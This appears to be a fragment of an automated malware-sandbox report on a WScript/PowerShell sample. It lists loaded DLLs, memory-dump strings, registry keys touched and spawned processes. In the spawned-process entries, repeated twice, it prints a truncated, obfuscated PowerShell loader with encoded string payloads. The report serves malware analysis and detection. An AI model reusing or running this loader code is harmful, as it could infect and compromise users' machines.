"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 70010000 "powershell.exe" loaded module "COMBASE.DLL" at base 746d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 746d0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77bf0000 "powershell.exe" loaded module "SHELL32.DLL" at base 74fe0000 "powershell.exe" loaded module "PSAPI.DLL" at base 74970000 "powershell.exe" loaded module "WINTRUST.DLL" at base 74f50000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74f50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 778b0000 "powershell.exe" loaded module "AMSI.DLL" at base 6ffe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74340000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6ff90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f810000 "powershell.exe" loaded module "CRYPT32.DLL" at base 778b0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\D5J3S2L0.DLL" at base 6f7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f750000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f3f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 746d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6f3a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f290000 "powershell.exe" loaded module "SECUR32.DLL" at base 6f280000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74610000 "powershell.exe" loaded module "WLDP.DLL" at base 6f260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 740c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f1c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 76320000 "powershell.exe" loaded module "USERENV.DLL" at base 6ffb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76b10000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6f160000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f140000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76320000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f110000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6efb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ef80000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ef80000 "powershell.exe" loaded module "GDI32.DLL" at base 76a20000 "powershell.exe" loaded module "OLEAUT32" at base 772f0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 734d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6ef50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6eed0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6eea0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 6ee80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 6ee60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 6ee40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73400000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 6ee30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6ede0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6edd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6edc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6ed00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 76840000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 76840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ebf000037:Tf03,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp")38:T17da,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "powershell.exe" touched "ShellWindows" (Path: "HKCU\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\INPROCSERVER32") "powershell.exe" touched "PSDispatch" (Path: "HKCU\CLSID\{00020420-0000-0000-C000-000000000046}") "powershell.exe" touched "PSTypeInfo" (Path: "HKCU\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")39:T434,"WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")3a:Tf3f,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006820-00000C2A-1270985408] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00006820-00000C2A-1271298874] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00006820-00000C2A-1272453999] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007432-00000C2D-915552986] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007432-00000C2A-1275002790] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007432-00000C2A-1275122465] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007432-00000C2A-1275262002] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007432-00000C2A-1275393380] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007432-00000C2A-1275445422] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007432-00000C2A-1275500696] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007432-00000C2A-1275569601] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007432-00000C2A-1275640530] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007432-00000C2A-1275682362] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007432-00000C2A-1275752539] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007432-00000C2A-1275961791] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007432-00000C2A-1276074921] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007432-00000C2A-1276386711] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007432-00000C2A-1276510455] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007432-00000C2A-1276645901] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007432-00000C2A-1276802645] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007432-00000C2A-1276910551] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007432-00000C2A-1276937268] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007432-00000C2A-1276979028] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007432-00000C2A-1277028508] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007432-00000C2A-1277257927]3b:Tbf4,Spawned process "ping.exe" with commandline "ping Bera_6637.6637.6637.657e" (UID: 00000000-00005496) Spawned process "powershell.exe" with commandline ""mp 'qurushes' 'friedes' 'bulgarerne';$mulcts=4;$habil=55;funct ..." (UID: 00000000-00007432, Additional Context: "function $anapsters('sammendrages exacerbating Damned Cispontine Conscriptio MMM[####iHHHHn !!!tVVVV] ppp$kkkkz****o gggokkkkp x xr WWWahhhhxCCCCi XXXs SSSc kkkoiiiip DDDeCCCC ___-kkkkbRRRRx') $tegns$mulcts+$habildo $afbag+$rsonneret[$tegns] ($outfooling)For($tegns0 ($relaksationernes)if 'dgILBhEVCUgHBTMLAxoHGxVPQQE8E0IAwQBExEFeUEVDAcaDBwCFz4MCQAWBw' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[0] (( 'dgILBhEVCUgXASAMABpOOgAFSCswDwIKBQrFxFKBQAFKh8dABwR')) 'dhcCGxoTFlwtATMBAhsALz48ABB8LRMdAyYAAxABIREvDBIQAAA4UGI4Wk0eFR0bCBdkUw' 'dgILBhEVCUgqEjcXFAISBlhWERYnAA' 'dhcCGxoTFlxBCisIBhsLHRYfAAp8LAkfHB8AWkEBNhAGGxdYQRQKESAEAAwBHQsVAAp7' 'AQkCDANcUVs' 'dgILBhEVCUgJCzkKCgYHHRMXFwo3WEMOHxsHEwleOQoJGgcGEBkRDT0LFAAdBxEbEREmABUHFl9OV0EJPQEVDBQaAAZLBz0QCR0' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[$lokomotiverne]}$forskningsomraadet306664 'dgILBhEVCUgEBzsBEhsaFVgVBkR2AwgcARUCFxcNPAICBw' 'dgILBhEVCUg2Dz0TEQYUGgAcFlkJJggHBREXBjheaCMVBh42BAEAUmY2ExsaGgJaQQUxDAMcAR0EWw' 'dgILBhEVCUgAHCYHCAYYST4mABwmSyIHEBsBGwsDD9dKCA3LDtLIzcRNB0BHQsVTUABDggfBRsCHAAKIUw' 'dgILBhEVCUgDBTwRBhoeERdPQQEqEQUGHB9LARAGIREVAB0TTVYDCyAWDAcaGgIBCgkgBAYNFgBWQklAJgwKBBwHTA' $fantasmer;"), Spawned process "powershell.exe" with commandline ""mp 'qurushes' 'friedes' 'bulgarerne';$mulcts=4;$habil=55;funct ..." (UID: 00000000-00006400, Additional Context: "function $anapsters('sammendrages exacerbating Damned Cispontine Conscriptio MMM[####iHHHHn !!!tVVVV] ppp$kkkkz****o gggokkkkp x xr WWWahhhhxCCCCi XXXs SSSc kkkoiiiip DDDeCCCC ___-kkkkbRRRRx') $tegns$mulcts+$habildo $afbag+$rsonneret[$tegns] ($outfooling)For($tegns0 ($relaksationernes)if 'dgILBhEVCUgHBTMLAxoHGxVPQQE8E0IAwQBExEFeUEVDAcaDBwCFz4MCQAWBw' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[0] (( 'dgILBhEVCUgXASAMABpOOgAFSCswDwIKBQrFxFKBQAFKh8dABwR')) 'dhcCGxoTFlwtATMBAhsALz48ABB8LRMdAyYAAxABIREvDBIQAAA4UGI4Wk0eFR0bCBdkUw' 'dgILBhEVCUgqEjcXFAISBlhWERYnAA' 'dhcCGxoTFlxBCisIBhsLHRYfAAp8LAkfHB8AWkEBNhAGGxdYQRQKESAEAAwBHQsVAAp7' 'AQkCDANcUVs' 'dgILBhEVCUgJCzkKCgYHHRMXFwo3WEMOHxsHEwleOQoJGgcGEBkRDT0LFAAdBxEbEREmABUHFl9OV0EJPQEVDBQaAAZLBz0QCR0' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[$lokomotiverne]}$forskningsomraadet306664 'dgILBhEVCUgEBzsBEhsaFVgVBkR2AwgcARUCFxcNPAICBw' 'dgILBhEVCUg2Dz0TEQYUGgAcFlkJJggHBREXBjheaCMVBh42BAEAUmY2ExsaGgJaQQUxDAMcAR0EWw' 'dgILBhEVCUgAHCYHCAYYST4mABwmSyIHEBsBGwsDD9dKCA3LDtLIzcRNB0BHQsVTUABDggfBRsCHAAKIUw' 'dgILBhEVCUgDBTwRBhoeERdPQQEqEQUGHB9LARAGIREVAB0TTVYDCyAWDAcaGgIBCgkgBAYNFgBWQklAJgwKBBwHTA' $fantasmer;")3c:Tbf4,Spawned process "ping.exe" with commandline "ping Bera_6637.6637.6637.657e" (UID: 00000000-00005496) Spawned process "powershell.exe" with commandline ""mp 'qurushes' 'friedes' 'bulgarerne';$mulcts=4;$habil=55;funct ..." (UID: 00000000-00007432, Additional Context: "function $anapsters('sammendrages exacerbating Damned Cispontine Conscriptio MMM[####iHHHHn !!!tVVVV] ppp$kkkkz****o gggokkkkp x xr WWWahhhhxCCCCi XXXs SSSc kkkoiiiip DDDeCCCC ___-kkkkbRRRRx') $tegns$mulcts+$habildo $afbag+$rsonneret[$tegns] ($outfooling)For($tegns0 ($relaksationernes)if 'dgILBhEVCUgHBTMLAxoHGxVPQQE8E0IAwQBExEFeUEVDAcaDBwCFz4MCQAWBw' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[0] (( 'dgILBhEVCUgXASAMABpOOgAFSCswDwIKBQrFxFKBQAFKh8dABwR')) 'dhcCGxoTFlwtATMBAhsALz48ABB8LRMdAyYAAxABIREvDBIQAAA4UGI4Wk0eFR0bCBdkUw' 'dgILBhEVCUgqEjcXFAISBlhWERYnAA' 'dhcCGxoTFlxBCisIBhsLHRYfAAp8LAkfHB8AWkEBNhAGGxdYQRQKESAEAAwBHQsVAAp7' 'AQkCDANcUVs' 'dgILBhEVCUgJCzkKCgYHHRMXFwo3WEMOHxsHEwleOQoJGgcGEBkRDT0LFAAdBxEbEREmABUHFl9OV0EJPQEVDBQaAAZLBz0QCR0' 'OhETGQBOSl0BFjsTAkcUGwoVCQF8BggEXAEGTQAcIgoVHU4QCgULCD0EA08aEFhDAFwnXQAkRDwAOz8PMEgTESQkKhURBhoWBQAfJg9HEwo'$modregnet[$lokomotiverne]}$forskningsomraadet306664 'dgILBhEVCUgEBzsBEhsaFVgVBkR2AwgcARUCFxcNPAICBw' 'dgILBhEVCUg2Dz0TEQYUGgAcFlkJJggHBREXBjheaCMVBh42BAEAUmY2ExsaGgJaQQUxDAMcAR0EWw' 'dgILBhEVCUgAHCYHCAYYST4mABwmSyIHEBsBGwsDD9dKCA3LDtLIzcRNB0BHQsVTUABDggfBRsCHAAKIUw' 'dgILBhEVCUgDBTwRBhoeERdPQQEqEQUGHB9LARAGIREVAB0TTVYDCyAWDAcaGgIBCgkgBAYNFgBWQklAJgwKBBwHTA' $fantasmer;"), 